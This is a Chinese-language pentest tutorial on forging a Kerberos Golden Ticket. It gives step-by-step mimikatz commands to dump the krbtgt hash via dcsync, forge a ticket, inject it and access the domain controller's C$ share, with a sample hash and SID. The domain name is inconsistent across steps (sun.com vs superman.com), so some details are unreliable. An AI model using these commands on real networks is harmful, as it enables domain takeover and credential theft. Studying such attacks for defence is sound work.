黄金票据
原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
关于Kerberos认证可以参考下面的链接 ,https://daiker.gitbook.io/windows-protocol/
制作黄金票据条件
- 域名称
- 域的SID值
- 域的KRBTGT账户NTLM-HASH
- 伪造用户名,可以是任意用户名
具体步骤
获取域名称和域控机器名
通过命令systeminfo
可以获取到域名为sun.com
net config workstation
也可以获取到域名和其他信息
nltest /DCLTST:域名
或者 ping -a 域控ip
获取SID的值
用户SID去掉后三位即为域SID,这里的域SID即S-1-5-21-3388020223-1982701712-4030140183
获取krbtgt的哈希值
通过mimikatz中的 lsadump::dcsync /domain:superman.com /user:krbtgt
命令获取krbtgt的哈希值,也可以使用hashdump获取
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:65dc23a67f31503698981f2665f9d858:::
65dc23a67f31503698981f2665f9d858
即为krbtgt的ntlm
伪造票据
mimikatz # kerberos::golden /admin:administrator /domain:sun.com /sid:S-1-5-21-3388020223-1982701712-4030140183 /krbtgt:65dc23a67f31503698981f2665f9d858 /ticket:golden.kiribi
获取权限
清空本地票据缓存,导入伪造的票据
kerberos::list #查看本地保存的票据,观察client name
kerberos::purge #清除本地票据缓存
Kerberos::ptt golden.kiribi #导入伪造的黄金票据
kerberos::list #查看本地保存的票据,观察client name是否变为我们票据中的用户名
证明此时票据已经导入,dir \\DC\c$
已经与域控建立连接